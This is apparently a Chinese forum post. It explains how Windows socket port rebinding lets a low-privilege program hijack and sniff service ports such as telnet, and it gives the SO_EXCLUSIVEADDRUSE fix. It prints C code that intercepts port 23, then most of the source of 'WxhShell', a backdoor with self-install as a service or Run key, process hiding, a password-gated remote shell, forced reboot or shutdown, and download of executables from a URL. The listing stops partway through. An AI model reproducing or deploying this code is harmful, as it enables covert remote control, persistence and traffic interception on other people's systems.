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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /G;yxdb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !)34tu2  
ZbUf|#GTB  
  saddr.sin_family = AF_INET; p6'8l~W+  
v'tk: Hm1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (P-<9y@  
K2 2Xo<3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s=4.Ovd\  
2Fi*)\{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |sz9l/,lG  
{,=,0NQKn  
  这意味着什么?意味着可以进行如下的攻击: 605|*(  
stPCw$@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @AOiZOH  
oV`sCr5%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  \Z':hw  
se[};t:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m@ YL Z  
r;z A `  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "RLb wm~  
-w B AFr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o*_D  
{QID@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nKdLhCN'=  
hh9{md\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #eYVZ=E  
iq$/ 6!t  
  #include <=Qk^Y2k  
  #include %L3]l  
  #include >q`X%&l_  
  #include    "dOzQz*E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \~PFD%]:3  
  int main() ?F/3]lsggT  
  { ]_s]Q_+E  
  WORD wVersionRequested; sXu]k#I^"  
  DWORD ret; YVT^}7#  
  WSADATA wsaData; k&b>-QP6  
  BOOL val; }8HLyK,4  
  SOCKADDR_IN saddr; i7FEjjGtG  
  SOCKADDR_IN scaddr; JFZ p^{  
  int err; P*>V6SK>b  
  SOCKET s; ioggD  
  SOCKET sc; Tx*m p+q  
  int caddsize; #82B`y<<y/  
  HANDLE mt; *M:Bhw  
  DWORD tid;   DN+`Q{KS  
  wVersionRequested = MAKEWORD( 2, 2 ); Ju<D7  
  err = WSAStartup( wVersionRequested, &wsaData ); 9!LAAE`  
  if ( err != 0 ) { jJ|;Nwm<[  
  printf("error!WSAStartup failed!\n"); lK-I[i!  
  return -1; PO&`r r  
  } :"4~VDu  
  saddr.sin_family = AF_INET; }MNm>3  
   <mN3:G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iX=*qiVX  
Qxwe,:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L6m'u6:1{  
  saddr.sin_port = htons(23); Nu'rn*Y_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9L};vkYk#  
  { |NI0zd  
  printf("error!socket failed!\n"); e\<I:7%Rg  
  return -1; (rJvE*  
  } O%r<I*T^r  
  val = TRUE; >KE(%9y~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7u zN/LAF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Dng^4VRd  
  { >qE$:V "_5  
  printf("error!setsockopt failed!\n"); GOt@x9%  
  return -1; /?sV\shy  
  } _3hEYeh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mIyaoIE|$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gP3[=a"\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )Ii=8etdv  
?Rdi"{.wI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o! 8X< o  
  { Z]tz<YSkG  
  ret=GetLastError(); DsoF4&>g[B  
  printf("error!bind failed!\n"); <W pz\U  
  return -1; <x/&Ml+  
  } ,f$ RE6  
  listen(s,2); @:63OLlrG  
  while(1) >9 iv>  
  { KvQ9R!V  
  caddsize = sizeof(scaddr); *b&|  
  //接受连接请求 7% h Mf$KQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J8jbtL O'  
  if(sc!=INVALID_SOCKET) g0l- n  
  { bu]bfnYi9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jzQgD ed ]  
  if(mt==NULL) 1n^xVk-G  
  { E~B LY{3:  
  printf("Thread Creat Failed!\n"); Fq8Z:;C8  
  break; [(C lvGx  
  } y3x_B@}BY  
  } <%5ny!]  
  CloseHandle(mt); \?j(U8mB>  
  } *d=pK*g  
  closesocket(s); u>BR WN  
  WSACleanup(); DD1S]m  
  return 0; {0?76|  
  }   j'Fni4;  
  DWORD WINAPI ClientThread(LPVOID lpParam) %EuSP0  
  { di|l?l^l  
  SOCKET ss = (SOCKET)lpParam; &:rf80`z.  
  SOCKET sc; ){v nmJJ%  
  unsigned char buf[4096]; n'SnqJ&}  
  SOCKADDR_IN saddr; x`4">:IA  
  long num; ' `S,d[~  
  DWORD val; WaYT\CG7y  
  DWORD ret; `W5f'RU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }q^CR(h (R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IMj{n.y4  
  saddr.sin_family = AF_INET; ='(:fHhhX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \n}cx~j  
  saddr.sin_port = htons(23); 1'ZBtX~A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) um/iK}O  
  { Hg]r5Fe/c  
  printf("error!socket failed!\n"); =7a9~&|  
  return -1; GE|V^_|i  
  } =cxjb,r  
  val = 100; HM`;%0T0(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'h$1vT  
  { 2vynz,^ET  
  ret = GetLastError(); q:fkF^>  
  return -1; 8q_nOGd  
  } `On%1%k8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2TdcZ<k}J  
  { cf96z|^C  
  ret = GetLastError(); J=  T!  
  return -1;  W+e  
  } ikUG`F%W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ay[6rUO  
  { 8/k* "^3  
  printf("error!socket connect failed!\n"); 'Je;3"@  
  closesocket(sc); XOU 9r(  
  closesocket(ss); 4h-tR  
  return -1; X4gs{kx}|  
  } +5voAx!  
  while(1) L:7%Wdyh  
  { 3{CXIS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NOQM:tBO>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )KG.:BO<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  3= PRe  
  num = recv(ss,buf,4096,0); H8X{!/,^  
  if(num>0) }5`Kn}rY  
  send(sc,buf,num,0); L^dF )y?  
  else if(num==0) {>9vm!<[*\  
  break; `2G 0B@  
  num = recv(sc,buf,4096,0); ^)TZHc2a[  
  if(num>0) @u?m4v{  
  send(ss,buf,num,0); qeypa !  
  else if(num==0) +Y-Gp4"  
  break; r3'0{Nn+  
  } 8 K'3iw>z  
  closesocket(ss); V3 2F  
  closesocket(sc); XsEDI?p2  
  return 0 ; ?g}G#j  
  } ,VI2dNst\  
`ml  
U&GSMjqg  
========================================================== voiWf?X  
)m|)cLT&  
下边附上一个代码,,WXhSHELL f]Xh7m(Gh  
UZz/v#y~  
========================================================== 1 Qln|b8<  
zt6GJ z1q  
#include "stdafx.h" Kqm2TMO]>V  
m9 1Gc?c  
#include <stdio.h> @kd`9Yw  
#include <string.h> h:xvnyaI  
#include <windows.h> 0.+MlyA  
#include <winsock2.h> 0-6rIdDTM  
#include <winsvc.h> :pq+SifP  
#include <urlmon.h> Fsz;T;  
6o6I]QL  
#pragma comment (lib, "Ws2_32.lib") MR}=tO  
#pragma comment (lib, "urlmon.lib") lxf+$Z`~:  
*lc|iq\  
#define MAX_USER   100 // 最大客户端连接数 u^, eHO  
#define BUF_SOCK   200 // sock buffer ?L x*MJZ  
#define KEY_BUFF   255 // 输入 buffer {\hjKP  
uVN2}3!)Y  
#define REBOOT     0   // 重启 f?W_/daP  
#define SHUTDOWN   1   // 关机  4 Fl>XM  
WUrE1%u  
#define DEF_PORT   5000 // 监听端口 t^ Ge "  
E6XDn`:  
#define REG_LEN     16   // 注册表键长度 \xG_q>1_  
#define SVC_LEN     80   // NT服务名长度 LGB}:;$AL  
6+!$x?5|NP  
// 从dll定义API -!q^/ux  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); - ({h @  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {.eo?dQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *O_>3Hgl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >jz9o9?8  
*+(rQ";x  
// wxhshell配置信息 w$iQ,--  
struct WSCFG { R#HVrzOO|T  
  int ws_port;         // 监听端口 ^p)#;$6b  
  char ws_passstr[REG_LEN]; // 口令 OY Sq)!:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7cB/G:{  
  char ws_regname[REG_LEN]; // 注册表键名 F_G .$a Cc  
  char ws_svcname[REG_LEN]; // 服务名 F%P"T%|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $7" Y/9Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gu|=uW K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wn2'uZ5If  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ox*1F+Xri  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .J <t]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &+ "<ia(  
`R;i1/  
}; L I*=T   
{8>g?4Q#  
// default Wxhshell configuration _iu~vU)r  
struct WSCFG wscfg={DEF_PORT, y 4U|~\]  
    "xuhuanlingzhe", > a;iX.K  
    1, zzK<>@c  
    "Wxhshell", oR7[[H.4  
    "Wxhshell", ,?P<=M  
            "WxhShell Service", G9|2 KUG  
    "Wrsky Windows CmdShell Service", _o[fjd  
    "Please Input Your Password: ", pT{is.RM  
  1, LTxP@pr  
  "http://www.wrsky.com/wxhshell.exe", ^hXm=r4ozR  
  "Wxhshell.exe" KRz~3yH{ c  
    }; }y Vx"e)  
:_}xN!9LA  
// 消息定义模块 O uNPDq%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?r 0rY?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `WIZY33V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; , # =TputM  
char *msg_ws_ext="\n\rExit."; 9#TD1B/  
char *msg_ws_end="\n\rQuit."; @R%* ;)*F  
char *msg_ws_boot="\n\rReboot..."; ~7 `,}) d  
char *msg_ws_poff="\n\rShutdown..."; G9NI`]k  
char *msg_ws_down="\n\rSave to "; 3Q'vVNFh<  
{CV+1kz  
char *msg_ws_err="\n\rErr!"; U0t|i'Hx  
char *msg_ws_ok="\n\rOK!"; d(|q&b:  
q8_(P&  
char ExeFile[MAX_PATH]; ynv{ rMl  
int nUser = 0; 3m= _a  
HANDLE handles[MAX_USER]; +j{(NwsX  
int OsIsNt; TG[u3 Y4  
Q7rBc wm5  
SERVICE_STATUS       serviceStatus; qCg<g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; & XmaGtt  
f";pfu_FZ  
// 函数声明 [I=|"Ic~  
int Install(void); H1f='k]SZ  
int Uninstall(void); w i[9RD@  
int DownloadFile(char *sURL, SOCKET wsh); i,h30J  
int Boot(int flag); >MJ#|vO  
void HideProc(void); E447'aJ  
int GetOsVer(void); +q'\rpt  
int Wxhshell(SOCKET wsl); ?h6|N%U'  
void TalkWithClient(void *cs); vo f8bQ{&  
int CmdShell(SOCKET sock); 23P&n(.  
int StartFromService(void); +l^tT&s;f  
int StartWxhshell(LPSTR lpCmdLine); 5CZyA`3V^5  
vP x/&x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~v%6*9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?V,q&=9  
h~7#$i  
// 数据结构和表定义 /i3 JP}  
SERVICE_TABLE_ENTRY DispatchTable[] = OL>)SJj5  
{ H.\`(`6  
{wscfg.ws_svcname, NTServiceMain}, T[ZmD{6l  
{NULL, NULL} ]o8]b7-  
}; & y5"0mA  
?OLd }8y  
// 自我安装 3l%Qd<  
int Install(void) g35!a<JW  
{ /1MmOB  
  char svExeFile[MAX_PATH]; z3y{0<3  
  HKEY key; (B>/LsTu  
  strcpy(svExeFile,ExeFile); 'g!T${  
#h?I oB7  
// 如果是win9x系统,修改注册表设为自启动 V_:`K$  
if(!OsIsNt) { HD^#"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?>Sv_0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EW|$qLg  
  RegCloseKey(key); ao2^3e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nS04Ha  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uR ?W|a  
  RegCloseKey(key); j@>D]j  
  return 0; Yy88 5  
    } Q]YB.n3   
  } .JPN';  
} IplOXD  
else { 3Do0?~n  
)GkJ%o#H2  
// 如果是NT以上系统,安装为系统服务 g%&E~V/g$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fp/{L  
if (schSCManager!=0) +P^ ;7"H  
{ H].|K/-p  
  SC_HANDLE schService = CreateService ~Jk& !IE2  
  ( Q,[G?vbj  
  schSCManager, "E(i<  
  wscfg.ws_svcname, SLKpl LO  
  wscfg.ws_svcdisp, Wd:pqhLh  
  SERVICE_ALL_ACCESS, j{%;n40$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %rylmioW>  
  SERVICE_AUTO_START, ]xQv\u  
  SERVICE_ERROR_NORMAL, dymq Z<  
  svExeFile, .\ ;'>qy  
  NULL, v>_@D@pr  
  NULL, ;=y"Z^  
  NULL, &eHRn_st5b  
  NULL, H)Btm  
  NULL M76p=*  
  ); K6kz{R%`  
  if (schService!=0) inWLIXC,  
  { ,X.[37  
  CloseServiceHandle(schService); /K#k_k  
  CloseServiceHandle(schSCManager); I8Aq8XBw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m\56BP-AM  
  strcat(svExeFile,wscfg.ws_svcname); 5dePpFD5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~w? 02FU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fzIs^(:fl  
  RegCloseKey(key); ; ~pgF_  
  return 0; r[S(VPo[()  
    } J#I RbO)  
  } B&]`OO>O  
  CloseServiceHandle(schSCManager); M7TLQqaF  
} `,qft[1  
} (QDKw}O2b  
\baY+,Dr+  
return 1; ZwkUd-=0i  
} F\ B/q  
=rA?,74  
// 自我卸载 8zp?WUb  
int Uninstall(void) ./#YUIC  
{ DZSS  
  HKEY key; :C:6bDQ  
!Y ,7%  
if(!OsIsNt) { AS7L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cUY-  
  RegDeleteValue(key,wscfg.ws_regname); iFd !ED  
  RegCloseKey(key); eFG/!b<17  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3`bQ0-D;  
  RegDeleteValue(key,wscfg.ws_regname); fpR|+`k  
  RegCloseKey(key); =Hg!@5]H  
  return 0; mtmC,jnD  
  } <tD,Uu{P  
} qX ,q*hr-  
} fz(YP=@ZnP  
else { ;|q<t  
duaF?\vv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {<42PJtPY  
if (schSCManager!=0) `D4Wg<,9  
{ /j~~S'sw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AY /9Io-  
  if (schService!=0) 2][9Wp  
  { danPy2  
  if(DeleteService(schService)!=0) { rtj/&>  
  CloseServiceHandle(schService); )x6 &Y  
  CloseServiceHandle(schSCManager); t7f(%/] H0  
  return 0; M~A# _%2U  
  } (VeK7cU  
  CloseServiceHandle(schService); ^&qK\m_A  
  } ,b*?7R  
  CloseServiceHandle(schSCManager); CD&a_-'z$K  
} |p:4s"NT  
} bf_ > ?F^  
t%:7W[_s  
return 1; P T;{U<5  
} 3"h*L8No  
EpS/"adI-!  
// 从指定url下载文件 &;DCN  
int DownloadFile(char *sURL, SOCKET wsh) y!b2;- Dp  
{ I~&*^q6 |  
  HRESULT hr; GHsDZ(d3.  
char seps[]= "/"; s<!A< +Sh  
char *token; JWNN5#=fQ  
char *file; 0z>IYw|UB  
char myURL[MAX_PATH]; `=(<!nXJx  
char myFILE[MAX_PATH]; C m:AU;  
bBi>BP =  
strcpy(myURL,sURL); %p 6Ms  
  token=strtok(myURL,seps); s~Eo]e  
  while(token!=NULL) k=s^-Eiu  
  { t/[2{'R4  
    file=token; k8s)PN  
  token=strtok(NULL,seps); Cog}a  
  } o<nM-"yWb  
{8m&Z36E  
GetCurrentDirectory(MAX_PATH,myFILE); Qw0k-t0=4  
strcat(myFILE, "\\"); 1S?~ c25=h  
strcat(myFILE, file); *y4DK6OFe  
  send(wsh,myFILE,strlen(myFILE),0); xm{?h,U,  
send(wsh,"...",3,0); P.Nt jz/B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5gf ~/Zr  
  if(hr==S_OK) zqA>eDx  
return 0; HhynU/36  
else 2 5~Z%_?  
return 1; \l!+l  
/nO_ e  
} TzKM~a#  
&& ]ix3  
// 系统电源模块 HM% +Y47a  
int Boot(int flag) U^_\V BAk  
{ bc(MN8b]j  
  HANDLE hToken; b$@I(.X:  
  TOKEN_PRIVILEGES tkp; "09v6Tx  
|b\a)1Po:  
  if(OsIsNt) { z};|.N}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rZgu`5 <a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); - |p eD L  
    tkp.PrivilegeCount = 1; v.RA{a 9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -|V#U`mwF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H,D5)1Uu  
if(flag==REBOOT) { _g Mr]%Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S<T 'B0r8  
  return 0; ?= 7k<a~  
} }XUL\6U  
else { wqG#jC!5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yy5|8L  
  return 0; ]y#'U  
} !$NK7-  
  } B 2NIV7  
  else { CzlG#?kU?2  
if(flag==REBOOT) { (PPC?6s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a<-aE4wdm  
  return 0; _n:RA)4*  
} {J"]tx9 ]  
else { 2D:/.9= 8v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _OGv2r  
  return 0; qlM<X?  
} o}=*E  
} MsIR~  
E{)X ;kN=  
return 1; 4rDV CXE  
} huZ5?'/Fg  
!Ge;f/@  
// win9x进程隐藏模块 S:{xx`6K  
void HideProc(void) .c>6}:ye  
{ 5@RcAQb:  
Ys.GBSlHG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )"?'~5A  
  if ( hKernel != NULL ) 3D6&0xTq  
  { B*:I-5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f@`|2wG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /S J><  
    FreeLibrary(hKernel); N4 x5!00  
  } 8pEA3py  
`Hw][qy#  
return; G+fo'ThG  
} r], %:imGr  
COsy.$|4  
// 获取操作系统版本 &yP|t":HWX  
int GetOsVer(void) $%$zZJ@/  
{ </'n={+q  
  OSVERSIONINFO winfo; 0xZ^ f}@L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^P{y^@XI  
  GetVersionEx(&winfo); I:t ?#)wl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^/2HH  
  return 1; gdCit-3  
  else >&\.{ aj  
  return 0; ?<F([(  
} &IXmy-w  
7#wB  
// 客户端句柄模块 yT:2*sZRc  
int Wxhshell(SOCKET wsl) [f:&aS+  
{ ~rb]u Ny-  
  SOCKET wsh; Qq6'[Od  
  struct sockaddr_in client; dG+$!*6Z  
  DWORD myID; E!ZLVR.K  
q0q-Coh>  
  while(nUser<MAX_USER) ?Sh"%x  
{ A3.I|/  
  int nSize=sizeof(client); aoz+Th3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _<]0hC  
  if(wsh==INVALID_SOCKET) return 1; G(?1 Urxi  
`StuUa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bp/l~h.7W  
if(handles[nUser]==0) #do%u"q  
  closesocket(wsh); p5qfv>E8)  
else &_]G0~e  
  nUser++; ^X6e\]yj  
  } #9s)fR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,FP0n  
i+5Qs-dHA  
  return 0; 6Br^Ugy  
} N?t*4Y  
pq]z%\$u  
// 关闭 socket YFu>`w^Y  
void CloseIt(SOCKET wsh) ]gX8z#*k  
{ 3~R,)fO;  
closesocket(wsh); /$clk=  
nUser--; @H$8;CRM  
ExitThread(0); J0vQqTaT  
} P(yLRc  
Wgs6}1b g  
// 客户端请求句柄 :LB*l5\  
void TalkWithClient(void *cs) ~)#E?:h5  
{ LK4NNZf7  
N"<.v6Z  
  SOCKET wsh=(SOCKET)cs; =RXeN+ &R  
  char pwd[SVC_LEN]; Id^q!4Th9  
  char cmd[KEY_BUFF]; DZmVm['l  
char chr[1]; x0)=jp '  
int i,j; OYxYlUq  
U:99w  
  while (nUser < MAX_USER) { Y5 ;a  
k?HdW(HA  
if(wscfg.ws_passstr) { q|%+?j(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cQxUEY('+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TDZ==<C  
  //ZeroMemory(pwd,KEY_BUFF); @"h4S*U  
      i=0; #-Mr3  
  while(i<SVC_LEN) { Wm"q8-<<  
8.jf6   
  // 设置超时 "6IZf>N@#  
  fd_set FdRead; 1`|Z8Jpocj  
  struct timeval TimeOut; "5dke^yk0  
  FD_ZERO(&FdRead); CB-;Jqb  
  FD_SET(wsh,&FdRead); m+8:_0x "  
  TimeOut.tv_sec=8; :FU?vh$)  
  TimeOut.tv_usec=0; 4$, W\d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (X^,.qy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LN (\B:wAY  
W4av?H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FZ%h7Oe  
  pwd=chr[0]; gnzg(Y]5w  
  if(chr[0]==0xd || chr[0]==0xa) { PX?%}~ v  
  pwd=0; AvZ5?rN$  
  break; $bKXP(  
  } &c "!Y)%G  
  i++; %Iflf]l  
    } ~9APc{"A  
"0nsYE  
  // 如果是非法用户,关闭 socket  wT19m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !_3b#Caf  
} `-CN\  
R+ \%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <z%**gP~G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W tw,YFT  
>`&2]Wc)  
while(1) { :zo5`[P  
:4)x  
  ZeroMemory(cmd,KEY_BUFF); .czUJyFms}  
t}I@Rmso  
      // 自动支持客户端 telnet标准   l=" X|t   
  j=0; @",#'eC"  
  while(j<KEY_BUFF) { At<MY`ka  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :4 z\Q]  
  cmd[j]=chr[0]; V,VL?J\  
  if(chr[0]==0xa || chr[0]==0xd) { qov<@FvE0  
  cmd[j]=0; A0@,^|]  
  break; {R63n  
  } ny+r>>3Td  
  j++; ;p~!('{P  
    } B*}]'  
VHqoa>U,*  
  // 下载文件 7neJV  
  if(strstr(cmd,"http://")) { ct|0zl~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $X-PjQb1Bb  
  if(DownloadFile(cmd,wsh)) &R.5t/x_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ORP<?SG55u  
  else G na%|tUz|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zOMxg00  
  } -,;woOG  
  else { gQSVPbzK  
aB (pdW4  
    switch(cmd[0]) { 2`;XcY4A  
  (O(TFE5^  
  // 帮助 ~.G$0IJY  
  case '?': { ^{IZpT3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;u(*&vRqr^  
    break; E=,b;S-  
  } Oprfp^L  
  // 安装 *szs"mQ/  
  case 'i': { SX'NFdY  
    if(Install()) f^QC4hf0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x.t&NP^V)  
    else P}a$#a'!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q$yg^:]2  
    break; CDtL.a\  
    } i" u|119  
  // 卸载 i Pr(X  
  case 'r': { VfJ{);   
    if(Uninstall()) A9SL|9Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n2-+.9cY  
    else ami>Pp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OW=3t#"7Kp  
    break; 2+)h!y]  
    } mh[,E8'd  
  // 显示 wxhshell 所在路径 `{K-eHlrM9  
  case 'p': { b@4UR<  
    char svExeFile[MAX_PATH]; !D{z. KO  
    strcpy(svExeFile,"\n\r"); HH6H4K3Zj  
      strcat(svExeFile,ExeFile); ^|vk^`S  
        send(wsh,svExeFile,strlen(svExeFile),0); iJ*Wsp  
    break; a]P%Y.? r  
    } $$0 < &  
  // 重启 DC> R  
  case 'b': { RJ0,7 E<B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yz[Rl ^  
    if(Boot(REBOOT)) _8K8Ai-~.>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JBw2#ry  
    else { N lm}'Xt  
    closesocket(wsh); Jpp-3i.F#  
    ExitThread(0); '>1M~B  
    } Z)~?foe'  
    break; r8*xp\/  
    } .j,xh )v"  
  // 关机 fk?!0M6d  
  case 'd': { X1}M_h %  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <W3p!  
    if(Boot(SHUTDOWN)) 7z,  $  
